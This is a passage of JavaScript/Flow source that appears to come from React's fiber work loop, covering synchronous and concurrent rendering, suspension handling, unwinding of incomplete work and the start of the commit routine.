resetWorkInProgressStack();\n            exitStatus = RootSuspendedAtTheShell;\n            break outer;\n          }\n          case SuspendedOnImmediate:\n          case SuspendedOnData:\n          case SuspendedOnAction:\n          case SuspendedOnDeprecatedThrowPromise: {\n            if (getSuspenseHandler() === null) {\n              didSuspendInShell = true;\n            }\n            const reason = workInProgressSuspendedReason;\n            workInProgressSuspendedReason = NotSuspended;\n            workInProgressThrownValue = null;\n            throwAndUnwindWorkLoop(root, unitOfWork, thrownValue, reason);\n            if (\n              shouldYieldForPrerendering &&\n              workInProgressRootIsPrerendering\n            ) {\n              // We've switched into prerendering mode. This implies that we\n              // suspended outside of a Suspense boundary, which means this\n              // render will be blocked from committing. Yield to the main\n              // thread so we can switch to prerendering using the concurrent\n              // work loop.\n              exitStatus = RootInProgress;\n              break outer;\n            }\n            break;\n          }\n          default: {\n            // Unwind then continue with the normal work loop.\n            const reason = workInProgressSuspendedReason;\n            workInProgressSuspendedReason = NotSuspended;\n            workInProgressThrownValue = null;\n            throwAndUnwindWorkLoop(root, unitOfWork, thrownValue, reason);\n            break;\n          }\n        }\n      }\n      workLoopSync();\n      exitStatus = workInProgressRootExitStatus;\n      break;\n    } catch (thrownValue) {\n      handleThrow(root, thrownValue);\n    }\n  } while (true);\n\n  // Check if something suspended in the shell. We use this to detect an\n  // infinite ping loop caused by an uncached promise.\n  //\n  // Only increment this counter once per synchronous render attempt across the\n  // whole tree. Even if there are many sibling components that suspend, this\n  // counter only gets incremented once.\n  if (didSuspendInShell) {\n    root.shellSuspendCounter++;\n  }\n\n  resetContextDependencies();\n\n  executionContext = prevExecutionContext;\n  popDispatcher(prevDispatcher);\n  popAsyncDispatcher(prevAsyncDispatcher);\n\n  if (enableSchedulingProfiler) {\n    markRenderStopped();\n  }\n\n  if (workInProgress !== null) {\n    // Did not complete the tree. This can happen if something suspended in\n    // the shell.\n  } else {\n    // Normal case. We completed the whole tree.\n\n    // Set this to null to indicate there's no in-progress render.\n    workInProgressRoot = null;\n    workInProgressRootRenderLanes = NoLanes;\n\n    // It's safe to process the queue now that the render phase is complete.\n    finishQueueingConcurrentUpdates();\n  }\n\n  return exitStatus;\n}\n\n// The work loop is an extremely hot path. Tell Closure not to inline it.\n/** @noinline */\nfunction workLoopSync() {\n  // Perform work without checking if we need to yield between fiber.\n  while (workInProgress !== null) {\n    performUnitOfWork(workInProgress);\n  }\n}\n\nfunction renderRootConcurrent(root: FiberRoot, lanes: Lanes): RootExitStatus {\n  const prevExecutionContext = executionContext;\n  executionContext |= RenderContext;\n  const prevDispatcher = pushDispatcher(root.containerInfo);\n  const prevAsyncDispatcher = pushAsyncDispatcher();\n\n  // If the root or lanes have changed, throw out the existing stack\n  // and prepare a fresh one. Otherwise we'll continue where we left off.\n  if (workInProgressRoot !== root || workInProgressRootRenderLanes !== lanes) {\n    if (enableUpdaterTracking) {\n      if (isDevToolsPresent) {\n        const memoizedUpdaters = root.memoizedUpdaters;\n        if (memoizedUpdaters.size > 0) {\n          restorePendingUpdaters(root, workInProgressRootRenderLanes);\n          memoizedUpdaters.clear();\n        }\n\n        // At this point, move Fibers that scheduled the upcoming work from the Map to the Set.\n        // If we bailout on this work, we'll move them back (like above).\n        // It's important to move them now in case the work spawns more work at the same priority with different updaters.\n        // That way we can keep the current update and future updates separate.\n        movePendingFibersToMemoized(root, lanes);\n      }\n    }\n\n    workInProgressTransitions = getTransitionsForLanes(root, lanes);\n\n    resetRenderTimer();\n    prepareFreshStack(root, lanes);\n  } else {\n    // This is a continuation of an existing work-in-progress.\n    //\n    // If we were previously in prerendering mode, check if we received any new\n    // data during an interleaved event.\n    workInProgressRootIsPrerendering = checkIfRootIsPrerendering(root, lanes);\n  }\n\n  if (enableSchedulingProfiler) {\n    markRenderStarted(lanes);\n  }\n\n  outer: do {\n    try {\n      if (\n        workInProgressSuspendedReason !== NotSuspended &&\n        workInProgress !== null\n      ) {\n        // The work loop is suspended. We need to either unwind the stack or\n        // replay the suspended component.\n        const unitOfWork = workInProgress;\n        const thrownValue = workInProgressThrownValue;\n        resumeOrUnwind: switch (workInProgressSuspendedReason) {\n          case SuspendedOnError: {\n            // Unwind then continue with the normal work loop.\n            workInProgressSuspendedReason = NotSuspended;\n            workInProgressThrownValue = null;\n            throwAndUnwindWorkLoop(\n              root,\n              unitOfWork,\n              thrownValue,\n              SuspendedOnError,\n            );\n            break;\n          }\n          case SuspendedOnData:\n          case SuspendedOnAction: {\n            const thenable: Thenable<mixed> = (thrownValue: any);\n            if (isThenableResolved(thenable)) {\n              // The data resolved. Try rendering the component again.\n              workInProgressSuspendedReason = NotSuspended;\n              workInProgressThrownValue = null;\n              replaySuspendedUnitOfWork(unitOfWork);\n              break;\n            }\n            // The work loop is suspended on data. We should wait for it to\n            // resolve before continuing to render.\n            // TODO: Handle the case where the promise resolves synchronously.\n            // Usually this is handled when we instrument the promise to add a\n            // `status` field, but if the promise already has a status, we won't\n            // have added a listener until right here.\n            const onResolution = () => {\n              // Check if the root is still suspended on this promise.\n              if (\n                (workInProgressSuspendedReason === SuspendedOnData ||\n                  workInProgressSuspendedReason === SuspendedOnAction) &&\n                workInProgressRoot === root\n              ) {\n                // Mark the root as ready to continue rendering.\n                workInProgressSuspendedReason = SuspendedAndReadyToContinue;\n              }\n              // Ensure the root is scheduled. We should do this even if we're\n              // currently working on a different root, so that we resume\n              // rendering later.\n              ensureRootIsScheduled(root);\n            };\n            thenable.then(onResolution, onResolution);\n            break outer;\n          }\n          case SuspendedOnImmediate: {\n            // If this fiber just suspended, it's possible the data is already\n            // cached. Yield to the main thread to give it a chance to ping. If\n            // it does, we can retry immediately without unwinding the stack.\n            workInProgressSuspendedReason = SuspendedAndReadyToContinue;\n            break outer;\n          }\n          case SuspendedOnInstance: {\n            workInProgressSuspendedReason =\n              SuspendedOnInstanceAndReadyToContinue;\n            break outer;\n          }\n          case SuspendedAndReadyToContinue: {\n            const thenable: Thenable<mixed> = (thrownValue: any);\n            if (isThenableResolved(thenable)) {\n              // The data resolved. Try rendering the component again.\n              workInProgressSuspendedReason = NotSuspended;\n              workInProgressThrownValue = null;\n              replaySuspendedUnitOfWork(unitOfWork);\n            } else {\n              // Otherwise, unwind then continue with the normal work loop.\n              workInProgressSuspendedReason = NotSuspended;\n              workInProgressThrownValue = null;\n              throwAndUnwindWorkLoop(\n                root,\n                unitOfWork,\n                thrownValue,\n                SuspendedAndReadyToContinue,\n              );\n            }\n            break;\n          }\n          case SuspendedOnInstanceAndReadyToContinue: {\n            let resource: null | Resource = null;\n            switch (workInProgress.tag) {\n              case HostHoistable: {\n                resource = workInProgress.memoizedState;\n              }\n              // intentional fallthrough\n              case HostComponent:\n              case HostSingleton: {\n                // Before unwinding the stack, check one more time if the\n                // instance is ready. It may have loaded when React yielded to\n                // the main thread.\n\n                // Assigning this to a constant so Flow knows the binding won't\n                // be mutated by `preloadInstance`.\n                const hostFiber = workInProgress;\n                const type = hostFiber.type;\n                const props = hostFiber.pendingProps;\n                const isReady = resource\n                  ? preloadResource(resource)\n                  : preloadInstance(hostFiber.stateNode, type, props);\n                if (isReady) {\n                  // The data resolved. Resume the work loop as if nothing\n                  // suspended. Unlike when a user component suspends, we don't\n                  // have to replay anything because the host fiber\n                  // already completed.\n                  workInProgressSuspendedReason = NotSuspended;\n                  workInProgressThrownValue = null;\n                  const sibling = hostFiber.sibling;\n                  if (sibling !== null) {\n                    workInProgress = sibling;\n                  } else {\n                    const returnFiber = hostFiber.return;\n                    if (returnFiber !== null) {\n                      workInProgress = returnFiber;\n                      completeUnitOfWork(returnFiber);\n                    } else {\n                      workInProgress = null;\n                    }\n                  }\n                  break resumeOrUnwind;\n                }\n                break;\n              }\n              default: {\n                // This will fail gracefully but it's not correct, so log a\n                // warning in dev.\n                if (__DEV__) {\n                  console.error(\n                    'Unexpected type of fiber triggered a suspensey commit. ' +\n                      'This is a bug in React.',\n                  );\n                }\n                break;\n              }\n            }\n            // Otherwise, unwind then continue with the normal work loop.\n            workInProgressSuspendedReason = NotSuspended;\n            workInProgressThrownValue = null;\n            throwAndUnwindWorkLoop(\n              root,\n              unitOfWork,\n              thrownValue,\n              SuspendedOnInstanceAndReadyToContinue,\n            );\n            break;\n          }\n          case SuspendedOnDeprecatedThrowPromise: {\n            // Suspended by an old implementation that uses the `throw promise`\n            // pattern. The newer replaying behavior can cause subtle issues\n            // like infinite ping loops. So we maintain the old behavior and\n            // always unwind.\n            workInProgressSuspendedReason = NotSuspended;\n            workInProgressThrownValue = null;\n            throwAndUnwindWorkLoop(\n              root,\n              unitOfWork,\n              thrownValue,\n              SuspendedOnDeprecatedThrowPromise,\n            );\n            break;\n          }\n          case SuspendedOnHydration: {\n            // Selective hydration. An update flowed into a dehydrated tree.\n            // Interrupt the current render so the work loop can switch to the\n            // hydration lane.\n            resetWorkInProgressStack();\n            workInProgressRootExitStatus = RootSuspendedAtTheShell;\n            break outer;\n          }\n          default: {\n            throw new Error(\n              'Unexpected SuspendedReason. This is a bug in React.',\n            );\n          }\n        }\n      }\n\n      if (__DEV__ && ReactSharedInternals.actQueue !== null) {\n        // `act` special case: If we're inside an `act` scope, don't consult\n        // `shouldYield`. Always keep working until the render is complete.\n        // This is not just an optimization: in a unit test environment, we\n        // can't trust the result of `shouldYield`, because the host I/O is\n        // likely mocked.\n        workLoopSync();\n      } else if (enableThrottledScheduling) {\n        workLoopConcurrent(includesNonIdleWork(lanes));\n      } else {\n        workLoopConcurrentByScheduler();\n      }\n      break;\n    } catch (thrownValue) {\n      handleThrow(root, thrownValue);\n    }\n  } while (true);\n  resetContextDependencies();\n\n  popDispatcher(prevDispatcher);\n  popAsyncDispatcher(prevAsyncDispatcher);\n  executionContext = prevExecutionContext;\n\n  // Check if the tree has completed.\n  if (workInProgress !== null) {\n    // Still work remaining.\n    if (enableSchedulingProfiler) {\n      markRenderYielded();\n    }\n    return RootInProgress;\n  } else {\n    // Completed the tree.\n    if (enableSchedulingProfiler) {\n      markRenderStopped();\n    }\n\n    // Set this to null to indicate there's no in-progress render.\n    workInProgressRoot = null;\n    workInProgressRootRenderLanes = NoLanes;\n\n    // It's safe to process the queue now that the render phase is complete.\n    finishQueueingConcurrentUpdates();\n\n    // Return the final exit status.\n    return workInProgressRootExitStatus;\n  }\n}\n\n/** @noinline */\nfunction workLoopConcurrent(nonIdle: boolean) {\n  // We yield every other \"frame\" when rendering Transition or Retries. Those are blocking\n  // revealing new content. The purpose of this yield is not to avoid the overhead of yielding,\n  // which is very low, but rather to intentionally block any frequently occurring other main\n  // thread work like animations from starving our work. In other words, the purpose of this\n  // is to reduce the framerate of animations to 30 frames per second.\n  // For Idle work we yield every 5ms to keep animations going smooth.\n  if (workInProgress !== null) {\n    const yieldAfter = now() + (nonIdle ? 25 : 5);\n    do {\n      // $FlowFixMe[incompatible-call] flow doesn't know that now() is side-effect free\n      performUnitOfWork(workInProgress);\n    } while (workInProgress !== null && now() < yieldAfter);\n  }\n}\n\n/** @noinline */\nfunction workLoopConcurrentByScheduler() {\n  // Perform work until Scheduler asks us to yield\n  while (workInProgress !== null && !shouldYield()) {\n    // $FlowFixMe[incompatible-call] flow doesn't know that shouldYield() is side-effect free\n    performUnitOfWork(workInProgress);\n  }\n}\n\nfunction performUnitOfWork(unitOfWork: Fiber): void {\n  // The current, flushed, state of this fiber is the alternate. Ideally\n  // nothing should rely on this, but relying on it here means that we don't\n  // need an additional field on the work in progress.\n  const current = unitOfWork.alternate;\n\n  let next;\n  if (enableProfilerTimer && (unitOfWork.mode & ProfileMode) !== NoMode) {\n    startProfilerTimer(unitOfWork);\n    if (__DEV__) {\n      next = runWithFiberInDEV(\n        unitOfWork,\n        beginWork,\n        current,\n        unitOfWork,\n        entangledRenderLanes,\n      );\n    } else {\n      next = beginWork(current, unitOfWork, entangledRenderLanes);\n    }\n    stopProfilerTimerIfRunningAndRecordDuration(unitOfWork);\n  } else {\n    if (__DEV__) {\n      next = runWithFiberInDEV(\n        unitOfWork,\n        beginWork,\n        current,\n        unitOfWork,\n        entangledRenderLanes,\n      );\n    } else {\n      next = beginWork(current, unitOfWork, entangledRenderLanes);\n    }\n  }\n\n  unitOfWork.memoizedProps = unitOfWork.pendingProps;\n  if (next === null) {\n    // If this doesn't spawn new work, complete the current work.\n    completeUnitOfWork(unitOfWork);\n  } else {\n    workInProgress = next;\n  }\n}\n\nfunction replaySuspendedUnitOfWork(unitOfWork: Fiber): void {\n  // This is a fork of performUnitOfWork specifcally for replaying a fiber that\n  // just suspended.\n  let next;\n  if (__DEV__) {\n    next = runWithFiberInDEV(unitOfWork, replayBeginWork, unitOfWork);\n  } else {\n    next = replayBeginWork(unitOfWork);\n  }\n\n  unitOfWork.memoizedProps = unitOfWork.pendingProps;\n  if (next === null) {\n    // If this doesn't spawn new work, complete the current work.\n    completeUnitOfWork(unitOfWork);\n  } else {\n    workInProgress = next;\n  }\n}\n\nfunction replayBeginWork(unitOfWork: Fiber): null | Fiber {\n  // This is a fork of beginWork specifcally for replaying a fiber that\n  // just suspended.\n\n  const current = unitOfWork.alternate;\n\n  let next;\n  const isProfilingMode =\n    enableProfilerTimer && (unitOfWork.mode & ProfileMode) !== NoMode;\n  if (isProfilingMode) {\n    startProfilerTimer(unitOfWork);\n  }\n  switch (unitOfWork.tag) {\n    case SimpleMemoComponent:\n    case FunctionComponent: {\n      // Resolve `defaultProps`. This logic is copied from `beginWork`.\n      // TODO: Consider moving this switch statement into that module. Also,\n      // could maybe use this as an opportunity to say `use` doesn't work with\n      // `defaultProps` :)\n      const Component = unitOfWork.type;\n      let context: any;\n      if (!disableLegacyContext) {\n        const unmaskedContext = getUnmaskedContext(unitOfWork, Component, true);\n        context = getMaskedContext(unitOfWork, unmaskedContext);\n      }\n      next = replayFunctionComponent(\n        current,\n        unitOfWork,\n        unitOfWork.pendingProps,\n        Component,\n        context,\n        workInProgressRootRenderLanes,\n      );\n      break;\n    }\n    case ForwardRef: {\n      // Resolve `defaultProps`. This logic is copied from `beginWork`.\n      // TODO: Consider moving this switch statement into that module. Also,\n      // could maybe use this as an opportunity to say `use` doesn't work with\n      // `defaultProps` :)\n      const Component = unitOfWork.type.render;\n      next = replayFunctionComponent(\n        current,\n        unitOfWork,\n        unitOfWork.pendingProps,\n        Component,\n        unitOfWork.ref,\n        workInProgressRootRenderLanes,\n      );\n      break;\n    }\n    case HostComponent: {\n      // Some host components are stateful (that's how we implement form\n      // actions) but we don't bother to reuse the memoized state because it's\n      // not worth the extra code. The main reason to reuse the previous hooks\n      // is to reuse uncached promises, but we happen to know that the only\n      // promises that a host component might suspend on are definitely cached\n      // because they are controlled by us. So don't bother.\n      resetHooksOnUnwind(unitOfWork);\n      // We are about to retry this host component and need to ensure the hydration\n      // state is appropriate for hydrating this unit. Other fiber types hydrate differently\n      // and aren't reliant on the cursor positioning so this function is only for HostComponent\n      popHydrationStateOnInterruptedWork(unitOfWork);\n      // Fallthrough to the next branch.\n    }\n    default: {\n      // Other types besides function components are reset completely before\n      // being replayed. Currently this only happens when a Usable type is\n      // reconciled — the reconciler will suspend.\n      //\n      // We reset the fiber back to its original state; however, this isn't\n      // a full \"unwind\" because we're going to reuse the promises that were\n      // reconciled previously. So it's intentional that we don't call\n      // resetSuspendedWorkLoopOnUnwind here.\n      unwindInterruptedWork(current, unitOfWork, workInProgressRootRenderLanes);\n      unitOfWork = workInProgress = resetWorkInProgress(\n        unitOfWork,\n        entangledRenderLanes,\n      );\n      next = beginWork(current, unitOfWork, entangledRenderLanes);\n      break;\n    }\n  }\n  if (isProfilingMode) {\n    stopProfilerTimerIfRunningAndRecordDuration(unitOfWork);\n  }\n\n  return next;\n}\n\nfunction throwAndUnwindWorkLoop(\n  root: FiberRoot,\n  unitOfWork: Fiber,\n  thrownValue: mixed,\n  suspendedReason: SuspendedReason,\n) {\n  // This is a fork of performUnitOfWork specifcally for unwinding a fiber\n  // that threw an exception.\n  //\n  // Return to the normal work loop. This will unwind the stack, and potentially\n  // result in showing a fallback.\n  resetSuspendedWorkLoopOnUnwind(unitOfWork);\n\n  const returnFiber = unitOfWork.return;\n  try {\n    // Find and mark the nearest Suspense or error boundary that can handle\n    // this \"exception\".\n    const didFatal = throwException(\n      root,\n      returnFiber,\n      unitOfWork,\n      thrownValue,\n      workInProgressRootRenderLanes,\n    );\n    if (didFatal) {\n      panicOnRootError(root, thrownValue);\n      return;\n    }\n  } catch (error) {\n    // We had trouble processing the error. An example of this happening is\n    // when accessing the `componentDidCatch` property of an error boundary\n    // throws an error. A weird edge case. There's a regression test for this.\n    // To prevent an infinite loop, bubble the error up to the next parent.\n    if (returnFiber !== null) {\n      workInProgress = returnFiber;\n      throw error;\n    } else {\n      panicOnRootError(root, thrownValue);\n      return;\n    }\n  }\n\n  if (unitOfWork.flags & Incomplete) {\n    // Unwind the stack until we reach the nearest boundary.\n    let skipSiblings;\n\n    if (\n      // The current algorithm for both hydration and error handling assumes\n      // that the tree is rendered sequentially. So we always skip the siblings.\n      getIsHydrating() ||\n      suspendedReason === SuspendedOnError\n    ) {\n      skipSiblings = true;\n      // We intentionally don't set workInProgressRootDidSkipSuspendedSiblings,\n      // because we don't want to trigger another prerender attempt.\n    } else if (\n      // Check whether this is a prerender\n      !workInProgressRootIsPrerendering &&\n      // Offscreen rendering is also a form of speculative rendering\n      !includesSomeLane(workInProgressRootRenderLanes, OffscreenLane)\n    ) {\n      // This is not a prerender. Skip the siblings during this render. A\n      // separate prerender will be scheduled for later.\n      skipSiblings = true;\n      workInProgressRootDidSkipSuspendedSiblings = true;\n\n      // Because we're skipping the siblings, schedule an immediate retry of\n      // this boundary.\n      //\n      // The reason we do this is because a prerender is only scheduled when\n      // the root is blocked from committing, i.e. RootSuspendedWithDelay.\n      // When the root is not blocked, as in the case when we render a\n      // fallback, the original lane is considered to be finished, and\n      // therefore no longer in need of being prerendered. However, there's\n      // still a pending retry that will happen once the data streams in.\n      // We should start rendering that even before the data streams in so we\n      // can prerender the siblings.\n      if (\n        suspendedReason === SuspendedOnData ||\n        suspendedReason === SuspendedOnAction ||\n        suspendedReason === SuspendedOnImmediate ||\n        suspendedReason === SuspendedOnDeprecatedThrowPromise\n      ) {\n        const boundary = getSuspenseHandler();\n        if (boundary !== null && boundary.tag === SuspenseComponent) {\n          boundary.flags |= ScheduleRetry;\n        }\n      }\n    } else {\n      // This is a prerender. Don't skip the siblings.\n      skipSiblings = false;\n    }\n\n    unwindUnitOfWork(unitOfWork, skipSiblings);\n  } else {\n    // Although the fiber suspended, we're intentionally going to commit it in\n    // an inconsistent state. We can do this safely in cases where we know the\n    // inconsistent tree will be hidden.\n    //\n    // This currently only applies to Legacy Suspense implementation, but we may\n    // port a version of this to concurrent roots, too, when performing a\n    // synchronous render. Because that will allow us to mutate the tree as we\n    // go instead of buffering mutations until the end. Though it's unclear if\n    // this particular path is how that would be implemented.\n    completeUnitOfWork(unitOfWork);\n  }\n}\n\nexport function markSpawnedRetryLane(lane: Lane): void {\n  // Keep track of the retry lanes that were spawned by a fallback during the\n  // current render and were not later pinged. This will represent the lanes\n  // that are known to still be suspended.\n  workInProgressSuspendedRetryLanes = mergeLanes(\n    workInProgressSuspendedRetryLanes,\n    lane,\n  );\n}\n\nfunction panicOnRootError(root: FiberRoot, error: mixed) {\n  // There's no ancestor that can handle this exception. This should never\n  // happen because the root is supposed to capture all errors that weren't\n  // caught by an error boundary. This is a fatal error, or panic condition,\n  // because we've run out of ways to recover.\n  workInProgressRootExitStatus = RootFatalErrored;\n  logUncaughtError(root, createCapturedValueAtFiber(error, root.current));\n  // Set `workInProgress` to null. This represents advancing to the next\n  // sibling, or the parent if there are no siblings. But since the root\n  // has no siblings nor a parent, we set it to null. Usually this is\n  // handled by `completeUnitOfWork` or `unwindWork`, but since we're\n  // intentionally not calling those, we need set it here.\n  // TODO: Consider calling `unwindWork` to pop the contexts.\n  workInProgress = null;\n}\n\nfunction completeUnitOfWork(unitOfWork: Fiber): void {\n  // Attempt to complete the current unit of work, then move to the next\n  // sibling. If there are no more siblings, return to the parent fiber.\n  let completedWork: Fiber = unitOfWork;\n  do {\n    if ((completedWork.flags & Incomplete) !== NoFlags) {\n      // This fiber did not complete, because one of its children did not\n      // complete. Switch to unwinding the stack instead of completing it.\n      //\n      // The reason \"unwind\" and \"complete\" is interleaved is because when\n      // something suspends, we continue rendering the siblings even though\n      // they will be replaced by a fallback.\n      const skipSiblings = workInProgressRootDidSkipSuspendedSiblings;\n      unwindUnitOfWork(completedWork, skipSiblings);\n      return;\n    }\n\n    // The current, flushed, state of this fiber is the alternate. Ideally\n    // nothing should rely on this, but relying on it here means that we don't\n    // need an additional field on the work in progress.\n    const current = completedWork.alternate;\n    const returnFiber = completedWork.return;\n\n    let next;\n    startProfilerTimer(completedWork);\n    if (__DEV__) {\n      next = runWithFiberInDEV(\n        completedWork,\n        completeWork,\n        current,\n        completedWork,\n        entangledRenderLanes,\n      );\n    } else {\n      next = completeWork(current, completedWork, entangledRenderLanes);\n    }\n    if (enableProfilerTimer && (completedWork.mode & ProfileMode) !== NoMode) {\n      // Update render duration assuming we didn't error.\n      stopProfilerTimerIfRunningAndRecordIncompleteDuration(completedWork);\n    }\n    if (next !== null) {\n      // Completing this fiber spawned new work. Work on that next.\n      workInProgress = next;\n      return;\n    }\n\n    const siblingFiber = completedWork.sibling;\n    if (siblingFiber !== null) {\n      // If there is more work to do in this returnFiber, do that next.\n      workInProgress = siblingFiber;\n      return;\n    }\n    // Otherwise, return to the parent\n    // $FlowFixMe[incompatible-type] we bail out when we get a null\n    completedWork = returnFiber;\n    // Update the next thing we're working on in case something throws.\n    workInProgress = completedWork;\n  } while (completedWork !== null);\n\n  // We've reached the root.\n  if (workInProgressRootExitStatus === RootInProgress) {\n    workInProgressRootExitStatus = RootCompleted;\n  }\n}\n\nfunction unwindUnitOfWork(unitOfWork: Fiber, skipSiblings: boolean): void {\n  let incompleteWork: Fiber = unitOfWork;\n  do {\n    // The current, flushed, state of this fiber is the alternate. Ideally\n    // nothing should rely on this, but relying on it here means that we don't\n    // need an additional field on the work in progress.\n    const current = incompleteWork.alternate;\n\n    // This fiber did not complete because something threw. Pop values off\n    // the stack without entering the complete phase. If this is a boundary,\n    // capture values if possible.\n    const next = unwindWork(current, incompleteWork, entangledRenderLanes);\n\n    // Because this fiber did not complete, don't reset its lanes.\n\n    if (next !== null) {\n      // Found a boundary that can handle this exception. Re-renter the\n      // begin phase. This branch will return us to the normal work loop.\n      //\n      // Since we're restarting, remove anything that is not a host effect\n      // from the effect tag.\n      next.flags &= HostEffectMask;\n      workInProgress = next;\n      return;\n    }\n\n    // Keep unwinding until we reach either a boundary or the root.\n\n    if (enableProfilerTimer && (incompleteWork.mode & ProfileMode) !== NoMode) {\n      // Record the render duration for the fiber that errored.\n      stopProfilerTimerIfRunningAndRecordIncompleteDuration(incompleteWork);\n\n      // Include the time spent working on failed children before continuing.\n      let actualDuration = incompleteWork.actualDuration;\n      let child = incompleteWork.child;\n      while (child !== null) {\n        // $FlowFixMe[unsafe-addition] addition with possible null/undefined value\n        actualDuration += child.actualDuration;\n        child = child.sibling;\n      }\n      incompleteWork.actualDuration = actualDuration;\n    }\n\n    // TODO: Once we stop prerendering siblings, instead of resetting the parent\n    // of the node being unwound, we should be able to reset node itself as we\n    // unwind the stack. Saves an additional null check.\n    const returnFiber = incompleteWork.return;\n    if (returnFiber !== null) {\n      // Mark the parent fiber as incomplete and clear its subtree flags.\n      // TODO: Once we stop prerendering siblings, we may be able to get rid of\n      // the Incomplete flag because unwinding to the nearest boundary will\n      // happen synchronously.\n      returnFiber.flags |= Incomplete;\n      returnFiber.subtreeFlags = NoFlags;\n      returnFiber.deletions = null;\n    }\n\n    if (!skipSiblings) {\n      const siblingFiber = incompleteWork.sibling;\n      if (siblingFiber !== null) {\n        // This branch will return us to the normal work loop.\n        workInProgress = siblingFiber;\n        return;\n      }\n    }\n\n    // Otherwise, return to the parent\n    // $FlowFixMe[incompatible-type] we bail out when we get a null\n    incompleteWork = returnFiber;\n    // Update the next thing we're working on in case something throws.\n    workInProgress = incompleteWork;\n  } while (incompleteWork !== null);\n\n  // We've unwound all the way to the root.\n  workInProgressRootExitStatus = RootSuspendedAtTheShell;\n  workInProgress = null;\n}\n\nfunction completeRoot(\n  root: FiberRoot,\n  finishedWork: null | Fiber,\n  lanes: Lanes,\n  recoverableErrors: null | Array<CapturedValue<mixed>>,\n  transitions: Array<Transition> | null,\n  didIncludeRenderPhaseUpdate: boolean,\n  spawnedLane: Lane,\n  updatedLanes: Lanes,\n  suspendedRetryLanes: Lanes,\n  didSkipSuspendedSiblings: boolean,\n  exitStatus: RootExitStatus,\n  suspendedState: null | SuspendedState,\n  suspendedCommitReason: SuspendedCommitReason, // Profiling-only\n  completedRenderStartTime: number, // Profiling-only\n  completedRenderEndTime: number, // Profiling-only\n): void {\n  root.cancelPendingCommit = null;\n\n  do {\n    // `flushPassiveEffects` will call `flushSyncUpdateQueue` at the end, which\n    // means `flushPassiveEffects` will sometimes result in additional\n    // passive effects. So we need to keep flushing in a loop until there are\n    // no more pending effects.\n    // TODO: Might be better if `flushPassiveEffects` did not automatically\n    // flush synchronous work at the end, to avoid factoring hazards like this.\n    flushPendingEffects();\n  } while (pendingEffectsStatus !== NO_PENDING_EFFECTS);\n  flushRenderPhaseStrictModeWarningsInDEV();\n\n  if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {\n    throw new Error('Should not already be working.');\n  }\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    // Log the previous render phase once we commit. I.e. we weren't interrupted.\n    setCurrentTrackFromLanes(lanes);\n    if (isGestureRender(lanes)) {\n      // Clamp the render start time in case if something else on this lane was committed\n      // (such as this same tree before).\n      if (completedRenderStartTime < gestureClampTime) {\n        completedRenderStartTime = gestureClampTime;\n      }\n      if (completedRenderEndTime < gestureClampTime) {\n        completedRenderEndTime = gestureClampTime;\n      }\n    }\n    if (exitStatus === RootErrored) {\n      logErroredRenderPhase(\n        completedRenderStartTime,\n        completedRenderEndTime,\n        lanes,\n        workInProgressUpdateTask,\n      );\n    } else if (recoverableErrors !== null) {\n      const hydrationFailed =\n        finishedWork !== null &&\n        finishedWork.alternate !== null &&\n        (finishedWork.alternate.memoizedState: RootState).isDehydrated &&\n        (finishedWork.flags & ForceClientRender) !== NoFlags;\n      logRecoveredRenderPhase(\n        completedRenderStartTime,\n        completedRenderEndTime,\n        lanes,\n        recoverableErrors,\n        hydrationFailed,\n        workInProgressUpdateTask,\n      );\n    } else {\n      logRenderPhase(\n        completedRenderStartTime,\n        completedRenderEndTime,\n        lanes,\n        workInProgressUpdateTask,\n      );\n    }\n  }\n\n  if (enableSchedulingProfiler) {\n    markCommitStarted(lanes);\n  }\n\n  if (finishedWork === null) {\n    if (enableSchedulingProfiler) {\n      markCommitStopped();\n    }\n    if (enableGestureTransition) {\n      // Stop any gestures that were committed.\n      if (isGestureRender(lanes)) {\n        stopCommittedGesture(root);\n      }\n    }\n    return;\n  } else {\n    if (__DEV__) {\n      if (lanes === NoLanes) {\n        console.error(\n          'finishedLanes should not be empty during a commit. This is a ' +\n            'bug in React.',\n        );\n      }\n    }\n  }\n\n  if (finishedWork === root.current) {\n    throw new Error(\n      'Cannot commit the same tree as before. This error is likely caused by ' +\n        'a bug in React. Please file an issue.',\n    );\n  }\n\n  if (root === workInProgressRoot) {\n    // We can reset these now that they are finished.\n    workInProgressRoot = null;\n    workInProgress = null;\n    workInProgressRootRenderLanes = NoLanes;\n  } else {\n    // This indicates that the last root we worked on is not the same one that\n    // we're committing now. This most commonly happens when a suspended root\n    // times out.\n  }\n\n  // workInProgressX might be overwritten, so we want\n  // to store it in pendingPassiveX until they get processed\n  // We need to pass this through as an argument to completeRoot\n  // because workInProgressX might have changed between\n  // the previous render and commit if we throttle the commit\n  // with setTimeout\n  pendingFinishedWork = finishedWork;\n  pendingEffectsRoot = root;\n  pendingEffectsLanes = lanes;\n  pendingPassiveTransitions = transitions;\n  pendingRecoverableErrors = recoverableErrors;\n  pendingDidIncludeRenderPhaseUpdate = didIncludeRenderPhaseUpdate;\n  if (enableProfilerTimer) {\n    pendingEffectsRenderEndTime = completedRenderEndTime;\n    pendingSuspendedCommitReason = suspendedCommitReason;\n    pendingDelayedCommitReason = IMMEDIATE_COMMIT;\n    pendingSuspendedViewTransitionReason = null;\n  }\n\n  if (enableGestureTransition && isGestureRender(lanes)) {\n    const committingGesture = root.pendingGestures;\n    if (committingGesture !== null && !committingGesture.committing) {\n      // This gesture is not ready to commit yet. We'll mark it as suspended and\n      // start a gesture transition which isn't really a side-effect. Then later\n      // we might come back around to actually committing the root.\n      const didAttemptEntireTree = !didSkipSuspendedSiblings;\n      markRootSuspended(root, lanes, spawnedLane, didAttemptEntireTree);\n      if (committingGesture.running === null) {\n        applyGestureOnRoot(\n          root,\n          finishedWork,\n          recoverableErrors,\n          suspendedState,\n          enableProfilerTimer\n            ? suspendedCommitReason === null\n              ? completedRenderEndTime\n              : commitStartTime\n            : 0,\n        );\n      } else {\n        // If we already have a gesture running, we don't update it in place\n        // even if we have a new tree. Instead we wait until we can commit.\n        if (enableProfilerTimer && enableComponentPerformanceTrack) {\n          // Clamp at the render time since we're not going to finish the rest\n          // of this commit or apply yet.\n          finalizeRender(lanes, completedRenderEndTime);\n        }\n        // We are no longer committing.\n        pendingEffectsRoot = (null: any); // Clear for GC purposes.\n        pendingFinishedWork = (null: any); // Clear for GC purposes.\n        pendingEffectsLanes = NoLanes;\n      }\n      // Schedule the root to be committed when the gesture completes.\n      root.cancelPendingCommit = scheduleGestureCommit(\n        committingGesture,\n        completeRoot.bind(\n          null,\n          root,\n          finishedWork,\n          lanes,\n    